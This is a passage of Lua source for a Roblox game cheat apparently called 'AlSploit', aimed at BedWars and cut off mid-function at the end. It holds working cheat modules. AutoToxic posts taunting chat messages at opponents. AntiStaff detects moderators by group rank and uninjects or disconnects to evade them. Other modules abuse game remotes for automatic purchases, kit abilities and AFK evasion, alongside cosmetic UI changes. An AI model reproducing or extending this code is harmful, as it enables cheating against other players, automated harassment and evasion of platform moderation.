until AlSploitSettings.AutoSprint.Value == false or shared.AlSploitUnInjected == true
end,
HoverText = "Makes You Sprint Automatically 🐾"
})
end
end)
task.spawn(function()
local AutoToxicMessages = {
"Voidware ain't making a return with this one. L %s | AlSploit on top",
"I hack for fun. Too bad your fun is ruined. L %s | AlSploit on top",
"I ruined a good day for a good reason. L %s | AlSploit on top",
"Rats. Imagine dying in a block game. L %s | AlSploit on top",
"Clowns are the only ones we kill. L %s | AlSploit on top"
}
local function SendAutoToxicMessage(Player)
local AutoToxicMessage = string.format(AutoToxicMessages[math.random(1, #AutoToxicMessages)], Player.DisplayName)
TextChatService.ChatInputBarConfiguration.TargetTextChannel:SendAsync(AutoToxicMessage)
end
local AutoToxic = UtilityTab:CreateToggle({
Name = "AutoToxic",
Function = function() end,
HoverText = "Makes You Toxic 🤬"
})
repeat task.wait() until shared.AlSploitUnInjected == true or GetMatchState() ~= 0
task.spawn(function()
for i, v in next, PlayerService:GetPlayers() do
task.spawn(function()
if IsAlive(v) == true then
if v.Team ~= LocalPlayer.Team and v ~= LocalPlayer then
repeat task.wait() until AlSploitSettings.AutoToxic.Value == false or shared.AlSploitUnInjected == true or GetMatchState() ~= 0
if AlSploitSettings.AutoToxic.Value == true and shared.AlSploitUnInjected == false then
SendAutoToxicMessage(v)
end
end
end
end)
task.spawn(function()
AlSploitConnections["AutoToxicConnection"] = v.CharacterAdded:Connect(function(Character)
task.wait(0.3)
local v = game.Players:FindFirstChild(Character.Name) or v
if IsAlive(v) == true then
if v.Team ~= LocalPlayer.Team and v ~= LocalPlayer then
repeat task.wait() until AlSploitSettings.AutoToxic.Value == false or shared.AlSploitUnInjected == true or GetMatchState() ~= 0
if AlSploitSettings.AutoToxic.Value == true and shared.AlSploitUnInjected == false then
SendAutoToxicMessage(v)
end
end
end
end)
end)
end
end)
end)
task.spawn(function()
local AutoBuyItems = {
JadeHammer = {
[1] = {
["shopItem"] = {
["amount"] = 1,
["lockAfterPurchase"] = true,
["itemType"] = "jade_hammer",
["category"] = "Combat",
["price"] = 40,
["requiresKit"] = {
[1] = "jade"
},
["spawnWithItems"] = {
[1] = "jade_hammer"
},
["currency"] = "iron"
},
["shopId"] = ""
}
},
GompyVacuum = {
[1] = {
["shopItem"] = {
["amount"] = 1,
["lockAfterPurchase"] = true,
["itemType"] = "vacuum",
["category"] = "Combat",
["price"] = 50,
["requiresKit"] = {
[1] = "ghost_catcher"
},
["spawnWithItems"] = {
[1] = "vacuum"
},
["currency"] = "iron"
},
["shopId"] = ""
}
},
Guitar = {
[1] = {
["shopItem"] = {
["amount"] = 1,
["lockAfterPurchase"] = true,
["itemType"] = "guitar",
["category"] = "Combat",
["price"] = 16,
["requiresKit"] = {
[1] = "melody"
},
["spawnWithItems"] = {
[1] = "guitar"
},
["currency"] = "iron"
},
["shopId"] = ""
}
},
Lasso = {
[1] = {
["shopItem"] = {
["amount"] = 1,
["lockAfterPurchase"] = true,
["itemType"] = "lasso",
["category"] = "Combat",
["price"] = 30,
["requiresKit"] = {
[1] = "cowgirl"
},
["spawnWithItems"] = {
[1] = "lasso"
},
["currency"] = "iron"
},
["shopId"] = ""
}
},
Arrow = {
[1] = {
["shopItem"] = {
["currency"] = "iron",
["itemType"] = "arrow",
["amount"] = 8,
["price"] = 16,
["category"] = "Combat"
},
["shopId"] = ""
}
},
Wool = {
[1] = {
["shopItem"] = {
["currency"] = "iron",
["itemType"] = "wool_white",
["amount"] = 16,
["price"] = 8,
["category"] = "Blocks"
},
["shopId"] = ""
}
},
Bow = {
[1] = {
["shopItem"] = {
["ignoredByKit"] = {
[1] = "flower_bee"
},
["itemType"] = "wood_bow",
["price"] = 24,
["superiorItems"] = {
[1] = "wood_crossbow",
[2] = "tactical_crossbow"
},
["currency"] = "iron",
["category"] = "Combat",
["lockAfterPurchase"] = true,
["spawnWithItems"] = {
[1] = "wood_bow"
},
["amount"] = 1
},
["shopId"] = ""
}
},
EmeraldArmor = {
[1] = {
["shopItem"] = {
["lockAfterPurchase"] = true,
["itemType"] = "emerald_chestplate",
["price"] = 40,
["customDisplayName"] = "Emerald Armor",
["currency"] = "emerald",
["category"] = "Combat",
["nextTier"] = "",
["ignoredByKit"] = {
[1] = "bigman"
},
["spawnWithItems"] = {
[1] = "emerald_helmet",
[2] = "emerald_chestplate",
[3] = "emerald_boots"
},
["amount"] = 1
},
["shopId"] = ""
}
},
DiamondArmor ={
[1] = {
["shopItem"] = {
["lockAfterPurchase"] = true,
["itemType"] = "Diamond_chestplate",
["price"] = 8,
["customDisplayName"] = "Diamond Armor",
["currency"] = "emerald",
["category"] = "Combat",
["nextTier"] = "diamond_chestplate",
["ignoredByKit"] = {
[1] = "bigman"
},
["spawnWithItems"] = {
[1] = "diamond_helmet",
[2] = "diamond_chestplate",
[3] = "diamond_boots"
},
["amount"] = 1
},
["shopId"] = ""
}
},
IronArmor ={
[1] = {
["shopItem"] = {
["lockAfterPurchase"] = true,
["itemType"] = "iron_chestplate",
["price"] = 120,
["customDisplayName"] = "Iron Armor",
["currency"] = "iron",
["category"] = "Combat",
["nextTier"] = "diamond_chestplate",
["ignoredByKit"] = {
[1] = "bigman"
},
["spawnWithItems"] = {
[1] = "iron_helmet",
[2] = "iron_chestplate",
[3] = "iron_boots"
},
["amount"] = 1
},
["shopId"] = ""
}
},
LeatherArmor ={
[1] = {
["shopItem"] = {
["lockAfterPurchase"] = true,
["itemType"] = "leather_chestplate",
["price"] = 50,
["customDisplayName"] = "Leather Armor",
["currency"] = "iron",
["category"] = "Combat",
["nextTier"] = "iron_chestplate",
["ignoredByKit"] = {
[1] = "bigman"
},
["spawnWithItems"] = {
[1] = "leather_helmet",
[2] = "leather_chestplate",
[3] = "leather_boots"
},
["amount"] = 1
},
["shopId"] = ""
}
},
EmeraldSword = {
[1] = {
["shopItem"] = {
["disabledInQueue"] = {
[1] = "tnt_wars"
},
["itemType"] = "emerald_sword",
["price"] = 20,
["superiorItems"] = {
[1] = ""
},
["currency"] = "iron",
["amount"] = 1,
["ignoredByKit"] = {
[1] = "barbarian",
[2] = "dasher",
[3] = "frost_hammer_kit"
},
["category"] = "Combat",
["lockAfterPurchase"] = true
},
["shopId"] = ""
}
},
VoidSword = {
[1] = {
["shopItem"] = {
["currency"] = "void_crystal",
["itemType"] = "void_sword",
["amount"] = 1,
["price"] = 10,
["category"] = "Void",
["ignoredByKit"] = {
[1] = "barbarian",
[2] = "dasher"
},
["lockAfterPurchase"] = true
},
["shopId"] = ""
}
},
DiamondSword = {
[1] = {
["shopItem"] = {
["disabledInQueue"] = {
[1] = "tnt_wars"
},
["itemType"] = "diamond_sword",
["price"] = 4,
["superiorItems"] = {
[1] = "emerald_sword"
},
["currency"] = "emerald",
["amount"] = 1,
["ignoredByKit"] = {
[1] = "barbarian",
[2] = "dasher",
[3] = "frost_hammer_kit"
},
["category"] = "Combat",
["lockAfterPurchase"] = true
},
["shopId"] = ""
}
},
IronSword = {
[1] = {
["shopItem"] = {
["disabledInQueue"] = {
[1] = "tnt_wars"
},
["itemType"] = "iron_sword",
["price"] = 70,
["superiorItems"] = {
[1] = "diamond_sword"
},
["currency"] = "iron",
["amount"] = 1,
["ignoredByKit"] = {
[1] = "barbarian",
[2] = "dasher",
[3] = "frost_hammer_kit"
},
["category"] = "Combat",
["lockAfterPurchase"] = true
},
["shopId"] = ""
}
},
StoneSword = {
[1] = {
["shopItem"] = {
["disabledInQueue"] = {
[1] = "tnt_wars"
},
["itemType"] = "stone_sword",
["price"] = 20,
["superiorItems"] = {
[1] = "iron_sword"
},
["currency"] = "iron",
["amount"] = 1,
["ignoredByKit"] = {
[1] = "barbarian",
[2] = "dasher",
[3] = "frost_hammer_kit"
},
["category"] = "Combat",
["lockAfterPurchase"] = true
},
["shopId"] = ""
}
}
}
local AutoBuy = UtilityTab:CreateToggle({
Name = "AutoBuy",
Function = function()
repeat
task.wait(0.3)
if IsAlive(LocalPlayer) then
local NearestNpc = FindNearestNpc(AlSploitSettings.AutoBuy.Range.Value)
if NearestNpc then
local Inventory = GetInventory(LocalPlayer)
for i, v in next, AutoBuyItems do
v[1].shopId = NearestNpc.Name
end
task.spawn(function()
if not HasItem("lasso") and AlSploitSettings.ProjectileAura.Value == true then
PurchaseItem(AutoBuyItems.Lasso, Inventory)
end
if not HasItem("jade_hammer") and AlSploitSettings.AutoKit.Value == true then
PurchaseItem(AutoBuyItems.JadeHammer, Inventory)
end
if not HasItem("vacuum") and AlSploitSettings.ProjectileAura.Value == true then
PurchaseItem(AutoBuyItems.GompyVacuum, Inventory)
end
if not HasItem("guitar") and AlSploitSettings.AutoKit.Value == true then
PurchaseItem(AutoBuyItems.Guitar, Inventory)
end
end)
task.spawn(function()
if HasItem("diamond_sword") then
PurchaseItem(AutoBuyItems.EmeraldSword, Inventory)
end
if HasItem("iron_sword") or HasItem("stone_sword") or HasItem("wood_sword") then
PurchaseItem(AutoBuyItems.DiamondSword, Inventory)
end
if HasItem("stone_sword") and HasItem("iron_chestplate") then
PurchaseItem(AutoBuyItems.IronSword, Inventory)
end
if HasItem("wood_sword") then
PurchaseItem(AutoBuyItems.StoneSword, Inventory)
end
PurchaseItem(AutoBuyItems.VoidSword, Inventory)
end)
task.spawn(function()
if HasItem("diamond_chestplate") then
PurchaseItem(AutoBuyItems.EmeraldArmor, Inventory)
end
if HasItem("iron_chestplate") then
PurchaseItem(AutoBuyItems.DiamondArmor, Inventory)
end
if HasItem("stone_sword") and not HasItem("iron_chestplate") and not HasItem("diamond_chestplate") and not HasItem("emerald_chestplate") then
PurchaseItem(AutoBuyItems.LeatherArmor, Inventory)
end
if HasItem("leather_chestplate") then
PurchaseItem(AutoBuyItems.IronArmor, Inventory)
end
end)
task.spawn(function()
if HasItem("iron_chestplate") and HasItem("iron_sword") and not HasItem("wood_bow") and AlSploitSettings.ProjectileAura.Value == true then
PurchaseItem(AutoBuyItems.Bow, Inventory)
end
end)
task.spawn(function()
if HasItem("iron_chestplate") and HasItem("iron_sword") and HasItem("wood_bow") and AlSploitSettings.ProjectileAura.Value == true then
PurchaseItem(AutoBuyItems.Arrow, Inventory)
end
end)
task.spawn(function()
if HasItem("iron_chestplate") and HasItem("iron_sword") and HasItem("wood_bow") and HasItem("arrow") and AlSploitSettings.Scaffold.Value == true then
PurchaseItem(AutoBuyItems.Wool, Inventory)
end
end)
end
end
until shared.AlSploitUnInjected == true or AlSploitSettings.AutoBuy.Value == false
end,
HoverText = "Autobuys Items For You 💰"
})
AutoBuy:CreateSlider({
Name = "Range",
Function = function() end,
MaximumValue = 30,
DefaultValue = 30
})
end)
task.spawn(function()
local AntiStaff = UtilityTab:CreateToggle({
Name = "AntiStaff",
Function = function() end,
HoverText = "Tells You When A Staff Joins 🔔"
})
task.spawn(function()
AlSploitConnections["AntiStaffConnection"] = PlayerService.PlayerAdded:Connect(function(Player)
if shared.AlSploitUnInjected == false and AlSploitSettings.AntiStaff.Value == true and Player:IsInGroup(5774246) and Player:GetRankInGroup(5774246) > 1 then
if AlSploitSettings.AntiStaff.UnInject.Value == true then
UnInjectEvent:Fire()
end
if AlSploitSettings.AntiStaff.Kick.Value == true then
LocalPlayer:Kick(Player.Name .. ", A Staff Has Joined Your Game!")
end
CreateNotification(60, Player.Name .. ", A Staff Has Joined Your Game!")
end
end)
end)
task.spawn(function()
task.wait(2)
for i, v in next, PlayerService:GetPlayers() do
if shared.AlSploitUnInjected == false and AlSploitSettings.AntiStaff.Value == true and v:IsInGroup(5774246) and v:GetRankInGroup(5774246) > 1 then
if AlSploitSettings.AntiStaff.UnInject.Value == true then
UnInjectEvent:Fire()
end
if AlSploitSettings.AntiStaff.Kick.Value == true then
LocalPlayer:Kick(v.Name .. ", A Staff Has Joined Your Game!")
end
CreateNotification(60, v.Name .. ", A Staff Has Joined Your Game!")
end
end
end)
AntiStaff:CreateToggle({
Name = "UnInject",
Function = function() end,
DefaultValue = true
})
AntiStaff:CreateToggle({
Name = "Kick",
Function = function() end,
DefaultValue = false
})
end)
task.spawn(function()
local AntiAfk = UtilityTab:CreateToggle({
Name = "AntiAfk",
Function = function()
repeat
BedwarsRemotes.AfkInfoRemote:FireServer({afk = false})
task.wait(60)
until AlSploitSettings.AlSploitUnInjected == true or AlSploitSettings.AntiAfk.Value == false
end,
HoverText = "Prevents From Making You Afk ⌛"
})
end)
task.spawn(function()
local AutoKit = UtilityTab:CreateToggle({
Name = "AutoKit",
Function = function()
repeat
task.wait()
if IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
task.spawn(function()
if AlSploitSettings.AutoKit.Kits.ElderTree.Value == true then
task.wait(0.5)
local NearestTreeOrb = FindNearestTreeOrb(30)
if NearestTreeOrb and NearestTreeOrb:GetAttribute("TreeOrbSecret") then
if BedwarsRemotes.ConsumeTreeOrbRemote:InvokeServer({treeOrbSecret = NearestTreeOrb:GetAttribute("TreeOrbSecret")}) then
CollectionService:RemoveTag(NearestTreeOrb, "treeOrb")
NearestTreeOrb:Destroy()
end
end
end
end)
task.spawn(function()
if AlSploitSettings.AutoKit.Kits.Fortuna then
task.wait(0.5)
local NearestEntity = FindNearestEntity(30)
if NearestEntity then
BedwarsRemotes.AttemptCardThrowRemote:FireServer({targetEntityInstance = NearestEntity})
end
end
end)
task.spawn(function()
if AlSploitSettings.AutoKit.Kits.Warden.Value == true then
task.wait(0.5)
for i, v in next, CollectionService:GetTagged("jailor_soul_ProximityPrompt") do
BedwarsRemotes.CollectCollectableEntityRemote:FireServer({id = v:GetAttribute("Id"), collectableName = "JailorSoul"})
end
end
end)
task.spawn(function()
if AlSploitSettings.AutoKit.Kits.Hannah.Value == true then
task.wait(0.1)
for i, v in next, (CollectionService:GetTagged("HannahExecuteInteraction")) do
BedwarsRemotes.HannahPromptTriggerRemote:CallServer({user = LocalPlayer, victimEntity = v})
end
end
end)
task.spawn(function()
if AlSploitSettings.AutoKit.Kits.Gompy.Value == true then
task.wait(0.25)
local NearestGhost = FindNearestGhost(30)
if NearestGhost then
BedwarsRemotes.CollectCollectableEntityRemote:FireServer({id = NearestGhost})
end
end
end)
task.spawn(function()
if AlSploitSettings.AutoKit.Kits.Trinity.Value == true then
task.wait(0.5)
if LocalPlayer.Character:GetAttribute("AngelType") == nil then
BedwarsRemotes.TrinitySetAngelTypeRemote:FireServer({angel = "Void"})
end
end
end)
task.spawn(function()
if AlSploitSettings.AutoKit.Kits.Miner.Value == true then
task.wait(0.25)
for i, v in next, CollectionService:GetTagged("petrified-player") do
BedwarsRemotes.DestroyPetrifiedPlayerRemote:FireServer({petrifyId = v:GetAttribute("PetrifyId")})
end
end
end)
end
until AlSploitSettings.AlSploitUnInjected == true or AlSploitSettings.AutoKit.Value == false
end,
HoverText = "Automatically Uses The Ability Of Kits 😺"
})
local Kits = AutoKit:CreateDropdown({
Name = "Kits",
HoverText = "Pick The Kits That Will Be Used Automatically"
})
Kits:CreateToggle({
Name = "ElderTree",
Function = function() end,
DefaultValue = true
})
Kits:CreateToggle({
Name = "Fortuna",
Function = function() end,
DefaultValue = true
})
Kits:CreateToggle({
Name = "Warden",
Function = function() end,
DefaultValue = true
})
Kits:CreateToggle({
Name = "Hannah",
Function = function() end,
DefaultValue = true
})
Kits:CreateToggle({
Name = "Gompy",
Function = function() end,
DefaultValue = true
})
Kits:CreateToggle({
Name = "Trinity",
Function = function() end,
DefaultValue = true
})
Kits:CreateToggle({
Name = "Miner",
Function = function() end,
DefaultValue = true
})
end)
task.spawn(function()
if BedwarsKnitControllers.FovController then
local OldFov = BedwarsKnitControllers.FovController.fov
local OldSetFov, OldGetFov = BedwarsKnitControllers.FovController.setFOV, BedwarsKnitControllers.FovController.getFOV
local Fov = UtilityTab:CreateToggle({
Name = "Fov",
Function = function()
if AlSploitSettings.Fov.Value == true then
BedwarsKnitControllers.FovController:setFOV(AlSploitSettings.Fov.Fov.Value)
BedwarsKnitControllers.FovController.setFOV = function(self)
return OldSetFov(self, AlSploitSettings.Fov.Fov.Value)
end
BedwarsKnitControllers.FovController.getFOV = function(self)
return OldGetFov(self, AlSploitSettings.Fov.Fov.Value)
end
end
if AlSploitSettings.Fov.Value == false then
BedwarsKnitControllers.FovController.setFOV = OldSetFov
BedwarsKnitControllers.FovController.getFOV = OldGetFov
BedwarsKnitControllers.FovController:setFOV(OldFov)
end
end,
HoverText = "Changes Your Fov 👀"
})
Fov:CreateSlider({
Name = "Fov",
Function = function() end,
MaximumValue = 120,
DefaultValue = 120
})
UnInjectEvent.Event:Connect(function()
BedwarsKnitControllers.FovController.setFOV = OldSetFov
BedwarsKnitControllers.FovController.getFOV = OldGetFov
end)
end
if not BedwarsKnitControllers.FovController then
local OldFov = Camera.FieldOfView
local Fov = UtilityTab:CreateToggle({
Name = "Fov",
Function = function()
repeat
task.wait()
Camera.FieldOfView = AlSploitSettings.Fov.Fov.Value
until shared.AlSploitUnInjected == true or AlSploitSettings.Fov.Value == false
Camera.FieldOfView = OldFov
end,
HoverText = "Changes Your Fov 👀"
})
Fov:CreateSlider({
Name = "Fov",
Function = function() end,
MaximumValue = 120,
DefaultValue = 100
})
end
end)
task.spawn(function()
local OldHealthbarClone = LocalPlayer.PlayerGui:WaitForChild("hotbar", 60):WaitForChild("1", 60):WaitForChild("HotbarHealthbarContainer", 60):WaitForChild("HealthbarProgressWrapper", 60):Clone()
local HealthbarPath = LocalPlayer.PlayerGui:WaitForChild("hotbar", 60):WaitForChild("1", 60):WaitForChild("HotbarHealthbarContainer", 60)
OldHealthbarClone.Parent = ReplicatedStorageService
local function SetHealthbarModifications()
for i, v in next, LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("HotbarHealthbarContainer"):FindFirstChild("HealthbarProgressWrapper"):GetDescendants() do
if v:IsA("Frame") then
v.BackgroundColor3 = Color3.new(1, 1, 1)
local UICorner = Instance.new("UICorner")
UICorner.Parent = v
UICorner.Name = "UICorner"
UICorner.CornerRadius = UDim.new(0, (AlSploitSettings.CustomHealthbar.CornerRadius.Value / 5))
local UIGradient = Instance.new("UIGradient")
UIGradient.Parent = v
UIGradient.Name = "UIGradient"
UIGradient.Rotation = AlSploitSettings.CustomHealthbar.Rotation.Value
local ColorSplit = string.split(AlSploitSettings.CustomHealthbar.Color1.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
local ColorSplit2 = string.split(AlSploitSettings.CustomHealthbar.Color2.Value, ",")
local R2 = ColorSplit2[1]
local G2 = ColorSplit2[2]
local B2 = ColorSplit2[3]
UIGradient.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.new(R, G, B)), ColorSequenceKeypoint.new(1, Color3.new(R2, G2, B2))})
end
end
local UICorner = Instance.new("UICorner")
UICorner.Parent = HealthbarPath
UICorner.Name = "UICorner"
UICorner.CornerRadius = UDim.new(0, (AlSploitSettings.CustomHealthbar.CornerRadius.Value / 5))
local UIStroke = Instance.new("UIStroke")
UIStroke.Parent = HealthbarPath
UIStroke.Name = "UIStroke"
UIStroke.Thickness = 1.6
local ColorSplit = string.split(AlSploitSettings.CustomHealthbar.UIStrokeColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
UIStroke.Color = Color3.new(R, G, B)
end
local CustomHealthbar = WorldTab:CreateToggle({
Name = "CustomHealthbar",
Function = function()
if AlSploitSettings.CustomHealthbar.Value == true then
SetHealthbarModifications()
end
if AlSploitSettings.CustomHealthbar.Value == false then
local OldHealthbar = LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("HotbarHealthbarContainer"):FindFirstChild("HealthbarProgressWrapper")
local NewHealthbarClone = OldHealthbarClone:Clone()
NewHealthbarClone.Parent = LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("HotbarHealthbarContainer")
if OldHealthbar.Parent:FindFirstChildWhichIsA("UIStroke") then
OldHealthbar.Parent:FindFirstChildWhichIsA("UIStroke"):Destroy()
end
OldHealthbar:Destroy()
end
end,
HoverText = "Gives You A Cool Custom Healthtbar 🐟"
})
CustomHealthbar:CreateSlider({
Name = "UIStrokeThickness",
Function = function()
if AlSploitSettings.CustomHealthbar.Value == true then
local UIStroke = LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("HotbarHealthbarContainer"):FindFirstChildWhichIsA("UIStroke")
if UIStroke then
UIStroke.Thickness = AlSploitSettings.CustomHealthbar.UIStrokeThickness.Value
end
end
end,
DefaultValue = 1.6,
MaximumValue = 5
})
CustomHealthbar:CreateColorSlider({
Name = "UIStrokeColor",
Function = function()
if AlSploitSettings.CustomHealthbar.Value == true then
local UIStroke = LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("HotbarHealthbarContainer"):FindFirstChildWhichIsA("UIStroke")
if UIStroke then
local ColorSplit = string.split(AlSploitSettings.CustomHealthbar.UIStrokeColor.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
UIStroke.Color = Color3.new(R, G, B)
end
end
end,
DefaultValue = Color3.new(0.203922, 0, 0.92549)
})
CustomHealthbar:CreateSlider({
Name = "CornerRadius",
Function = function()
if AlSploitSettings.CustomHealthbar.Value == true then
local UICorner = LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("HotbarHealthbarContainer"):FindFirstChildWhichIsA("UICorner")
if UICorner then
UICorner.CornerRadius = UDim.new(0, (AlSploitSettings.CustomHealthbar.CornerRadius.Value / 5))
end
if AlSploitSettings.CustomHealthbar.Value == true then
for i, v in next, LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("HotbarHealthbarContainer"):GetDescendants() do
if v:IsA("UICorner") then
v.CornerRadius = UDim.new(0, (AlSploitSettings.CustomHealthbar.CornerRadius.Value / 5))
end
end
end
end
end,
DefaultValue = 40,
MaximumValue = 100
})
CustomHealthbar:CreateSlider({
Name = "Rotation",
Function = function()
if AlSploitSettings.CustomHealthbar.Value == true then
for i, v in next, LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("HotbarHealthbarContainer"):GetDescendants() do
if v:IsA("UIGradient") then
v.Rotation = AlSploitSettings.CustomHealthbar.Rotation.Value
end
end
end
end,
DefaultValue = 0,
MaximumValue = 360
})
CustomHealthbar:CreateColorSlider({
Name = "Color1",
Function = function()
if AlSploitSettings.CustomHealthbar.Value == true then
for i, v in next, LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("HotbarHealthbarContainer"):GetDescendants() do
if v:IsA("UIGradient") then
local ColorSplit = string.split(AlSploitSettings.CustomHealthbar.Color1.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
local ColorSplit2 = string.split(AlSploitSettings.CustomHealthbar.Color2.Value, ",")
local R2 = ColorSplit2[1]
local G2 = ColorSplit2[2]
local B2 = ColorSplit2[3]
v.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.new(R, G, B)), ColorSequenceKeypoint.new(1, Color3.new(R2, G2, B2))})
end
end
end
end,
DefaultValue = Color3.new(0.321569, 0, 0.92549)
})
CustomHealthbar:CreateColorSlider({
Name = "Color2",
Function = function()
if AlSploitSettings.CustomHealthbar.Value == true then
for i, v in next, LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("HotbarHealthbarContainer"):GetDescendants() do
if v:IsA("UIGradient") then
local ColorSplit = string.split(AlSploitSettings.CustomHealthbar.Color1.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
local ColorSplit2 = string.split(AlSploitSettings.CustomHealthbar.Color2.Value, ",")
local R2 = ColorSplit2[1]
local G2 = ColorSplit2[2]
local B2 = ColorSplit2[3]
v.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.new(R, G, B)), ColorSequenceKeypoint.new(1, Color3.new(R2, G2, B2))})
end
end
end
end,
DefaultValue = Color3.new(0, 0.0666667, 0.92549)
})
AlSploitConnections["CustomHealthbarConnection"] = LocalPlayer.CharacterAdded:Connect(function()
if AlSploitSettings.CustomHealthbar.Value == true then
task.wait(1)
SetHealthbarModifications()
end
end)
UnInjectEvent.Event:Connect(function()
local OldHealthbar = LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("HotbarHealthbarContainer"):FindFirstChild("HealthbarProgressWrapper")
local NewHealthbarClone = OldHealthbarClone:Clone()
NewHealthbarClone.Parent = LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("HotbarHealthbarContainer")
if OldHealthbar.Parent:FindFirstChildWhichIsA("UIStroke") then
OldHealthbar.Parent:FindFirstChildWhichIsA("UIStroke"):Destroy()
end
OldHealthbar:Destroy()
end)
end)
task.spawn(function()
local PreviouslyActivated = false
local OldHotbarClone = LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):Clone()
if OldHotbarClone:FindFirstChild("2") then
OldHotbarClone:FindFirstChild("2"):Destroy()
end
OldHotbarClone.Parent = ReplicatedStorageService
local function SetHotbarModifications()
task.spawn(function()
if LocalPlayer.PlayerGui:WaitForChild("hotbar"):WaitForChild("1"):WaitForChild("HotbarResourceDisplay") then
LocalPlayer.PlayerGui:WaitForChild("hotbar"):WaitForChild("1"):WaitForChild("HotbarResourceDisplay").Position = UDim2.new(1, (45 + (AlSploitSettings.CustomHotbar.UIStrokeThickness.Value + (AlSploitSettings.CustomHotbar.Spacing.Value * 4.5))), 0, 0)
end
if LocalPlayer.PlayerGui:WaitForChild("hotbar"):WaitForChild("1"):WaitForChild("3") then
LocalPlayer.PlayerGui:WaitForChild("hotbar"):WaitForChild("1"):WaitForChild("3").Position = UDim2.new(0, -(45 + (AlSploitSettings.CustomHotbar.UIStrokeThickness.Value + (AlSploitSettings.CustomHotbar.Spacing.Value * 4.5))), 1, 0)
end
end)
for i, v in next, LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("ItemsHotbar"):GetDescendants() do
task.spawn(function()
if v:IsA("ImageButton") then
v.BackgroundTransparency = (AlSploitSettings.CustomHotbar.BackgroundTransparency.Value / 100)
v.BackgroundColor3 = Color3.new(1, 1, 1)
v.BorderSizePixel = 0
local UIGradient = Instance.new("UIGradient")
UIGradient.Parent = v
UIGradient.Name = "UIGradient"
UIGradient.Rotation = AlSploitSettings.CustomHotbar.Rotation.Value
local ColorSplit = string.split(AlSploitSettings.CustomHotbar.Color1.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
local ColorSplit2 = string.split(AlSploitSettings.CustomHotbar.Color2.Value, ",")
local R2 = ColorSplit2[1]
local G2 = ColorSplit2[2]
local B2 = ColorSplit2[3]
UIGradient.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.new(R, G, B)), ColorSequenceKeypoint.new(1, Color3.new(R2, G2, B2))})
local UICorner = Instance.new("UICorner")
UICorner.Parent = v
UICorner.Name = "UICorner"
UICorner.CornerRadius = UDim.new(0, (AlSploitSettings.CustomHotbar.CornerRadius.Value / 5))
local UIStroke = Instance.new("UIStroke")
UIStroke.Parent = v
UIStroke.Name = "UIStroke"
UIStroke.Transparency = 0.7
UIStroke.Thickness = AlSploitSettings.CustomHotbar.UIStrokeThickness.Value
UIStroke.Color = Color3.new(((R + R2) / 2), ((G + G2) / 2), ((B + B2) / 2))
end
end)
task.spawn(function()
if v:IsA("UIListLayout") then
LocalPlayer.PlayerGui:WaitForChild("hotbar"):FindFirstChild("1"):FindFirstChild("ItemsHotbar"):FindFirstChild("ItemsHotbarListLayout").Padding = UDim.new(0, AlSploitSettings.CustomHotbar.Spacing.Value)
end
end)
task.spawn(function()
if v:IsA("TextLabel") then
v.BackgroundTransparency = 1
v.TextTransparency = (AlSploitSettings.CustomHotbar.TextTransparency.Value / 100)
v.TextColor3 = Color3.new(1, 1, 1)
v.Position = v.Position + UDim2.new(0, 2, 0, 2)
v.Font = Enum.Font.GothamBold
end
end)
task.spawn(function()
if v:IsA("ImageButton") then
AlSploitConnections["CustomHotbarConnection2"] = v.Changed:Connect(function()
if AlSploitSettings.CustomHotbar.Value == true then
v.BackgroundTransparency = (AlSploitSettings.CustomHotbar.BackgroundTransparency.Value / 100)
v.BackgroundColor3 = Color3.new(1, 1, 1)
v.BorderSizePixel = 0
local UIGradient = Instance.new("UIGradient")
UIGradient.Parent = v
UIGradient.Name = "UIGradient"
UIGradient.Rotation = AlSploitSettings.CustomHotbar.Rotation.Value
local ColorSplit = string.split(AlSploitSettings.CustomHotbar.Color1.Value, ",")
local R = ColorSplit[1]
local G = ColorSplit[2]
local B = ColorSplit[3]
local ColorSplit2 = string.split(AlSploitSettings.CustomHotbar.Color2.Value, ",")
local R2 = ColorSplit2[1]
local G2 = ColorSplit2[2]
local B2 = ColorSplit2[3]
UIGradient.Color = ColorSequence.new({ColorSequenceKeypoint.new(0, Color3.new(R, G, B)), ColorSequenceKeypoint.new(1, Color3.new(R2, G2, B2))})
local UICorner = Instance.new("UICorner")
UICorner.Parent = v
UICorner.Name = "UICorner"
UICorner.CornerRadius = UDim.new(0, (AlSploitSettings.CustomHotbar.CornerRadius.Value / 5))
end
end)
end
end)
end
end
local CustomHotbar = WorldTab:CreateToggle({
Name = "CustomHotbar",
Function = function()
if AlSploitSettings.CustomHotbar.Value == true then
PreviouslyActivated = true
SetHotbarModifications()
end
if AlSploitSettings.CustomHotbar.Value == false and PreviouslyActivated == true then
